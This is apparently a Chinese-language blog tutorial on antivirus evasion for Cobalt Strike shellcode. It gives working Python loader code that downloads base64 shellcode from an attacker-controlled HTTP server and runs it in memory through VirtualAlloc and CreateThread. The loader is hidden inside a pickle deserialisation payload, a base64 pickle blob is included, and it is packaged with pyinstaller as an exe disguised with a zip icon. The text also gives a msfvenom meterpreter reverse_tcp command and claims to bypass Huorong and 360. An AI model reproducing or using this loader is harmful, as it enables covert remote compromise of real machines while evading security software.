本文仅以分离免杀为例,利用Python
语言制作加载器对Cobaltstrike
生成的Shellcode
进行绕过杀软作为样例,举例说明通过加密Shellcode
、分离免杀以及Python
反序列化达到bypass
的思路和方法。
原理:
我们原始的shellcode加载器是直接把shellcode放在里面进行运行,然而我们的分离免杀
整体流程是将我们的Shellcode
与程序进行分离,而上传到目标的可执行程序仅作为一个类似于下载器的程序使用,例如我们可以搭建一个Http Server
,之后构造我们的Shellcode
页面,再由本地加载器访问页面地址,获取页面的Shellcode
内容,之后加载并执行,流程类似于下图。
首先是httpserver,我们这里采用简便的kali中用python开启web服务,具体方法见https://blog.csdn.net/X_sweelg/article/details/117915045
首先我们使用cs生成python的payload
然后把这些payload进行base64编码后放到服务器上面
如果能访问到如下界面即可
然后把地址进行序列化,把ip改为自己服务器shellcode地址
import pickle
import base64
shellcode = """
import ctypes,urllib.request,codecs,base64
shellcode = urllib.request.urlopen('http://192.168.1.162/bypass.txt').read()
shellcode = base64.b64decode(shellcode)
shellcode =codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
"""
class A(object):
def __reduce__(self):
return (exec, (shellcode,))
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
print(ret_base64)
ret_decode = base64.b64decode(ret_base64)
最后就可以进行解码和反序列化
从代码层面来讲,杀软视角的代码仅能看到是一段正常的Base64
解码以及反序列化的脚本文件,也就达到了我们Bypass
的目的,运行脚本我们可正常上线以及执行命令。
import base64,pickle
shellcode = b'gANjYnVpbHRpbnMKZXhlYwpxAFg1BAAACmltcG9ydCBjdHlwZXMsdXJsbGliLnJlcXVlc3QsY29kZWNzLGJhc2U2NAoKc2hlbGxjb2RlID0gdXJsbGliLnJlcXVlc3QudXJsb3BlbignaHR0cDovLzE5Mi4xNjguMS4xNjIvYnlwYXNzLnR4dCcpLnJlYWQoKQpzaGVsbGNvZGUgPSBiYXNlNjQuYjY0ZGVjb2RlKHNoZWxsY29kZSkKc2hlbGxjb2RlID1jb2RlY3MuZXNjYXBlX2RlY29kZShzaGVsbGNvZGUpWzBdCnNoZWxsY29kZSA9IGJ5dGVhcnJheShzaGVsbGNvZGUpCiMg6K6+572uVmlydHVhbEFsbG9j6L+U5Zue57G75Z6L5Li6Y3R5cGVzLmNfdWludDY0CmN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jLnJlc3R5cGUgPSBjdHlwZXMuY191aW50NjQKIyDnlLPor7flhoXlrZgKcHRyID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MoY3R5cGVzLmNfaW50KDApLCBjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpLCBjdHlwZXMuY19pbnQoMHgzMDAwKSwgY3R5cGVzLmNfaW50KDB4NDApKQoKIyDmlL7lhaVzaGVsbGNvZGUKYnVmID0gKGN0eXBlcy5jX2NoYXIgKiBsZW4oc2hlbGxjb2RlKSkuZnJvbV9idWZmZXIoc2hlbGxjb2RlKQpjdHlwZXMud2luZGxsLmtlcm5lbDMyLlJ0bE1vdmVNZW1vcnkoCiAgICBjdHlwZXMuY191aW50NjQocHRyKSwgCiAgICBidWYsIAogICAgY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKQopCiMg5Yib5bu65LiA5Liq57q/56iL5LuOc2hlbGxjb2Rl6Ziy5q2i5L2N572u6aaW5Zyw5Z2A5byA5aeL5omn6KGMCmhhbmRsZSA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuQ3JlYXRlVGhyZWFkKAogICAgY3R5cGVzLmNfaW50KDApLCAKICAgIGN0eXBlcy5jX2ludCgwKSwgCiAgICBjdHlwZXMuY191aW50NjQocHRyKSwgCiAgICBjdHlwZXMuY19pbnQoMCksIAogICAgY3R5cGVzLmNfaW50KDApLCAKICAgIGN0eXBlcy5wb2ludGVyKGN0eXBlcy5jX2ludCgwKSkKKQojIOetieW+heS4iumdouWIm+W7uueahOe6v+eoi+i/kOihjOWujApjdHlwZXMud2luZGxsLmtlcm5lbDMyLldhaXRGb3JTaW5nbGVPYmplY3QoY3R5cGVzLmNfaW50KGhhbmRsZSksY3R5cGVzLmNfaW50KC0xKSkKcQGFcQJScQMu'
pickle.loads(base64.b64decode(shellcode))
最后可以用pyinstaller进行打包成exe文件,pyinstaller安装方法自行百度
pyinstaller -F shellcode.py --noconsole -i zip.ico -n base.exe
最后在dist文件夹中找到base3.exe,火绒和360都能过,vt免杀率也挺高的
国内的基本都能过,国外的一些过不了
msf的python免杀也是同理,只是把shellcode的格式需要修改一下,如果后面记得的话就再加上吧
msf生成python的payload命令
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=IP地址 lport=端口 -f python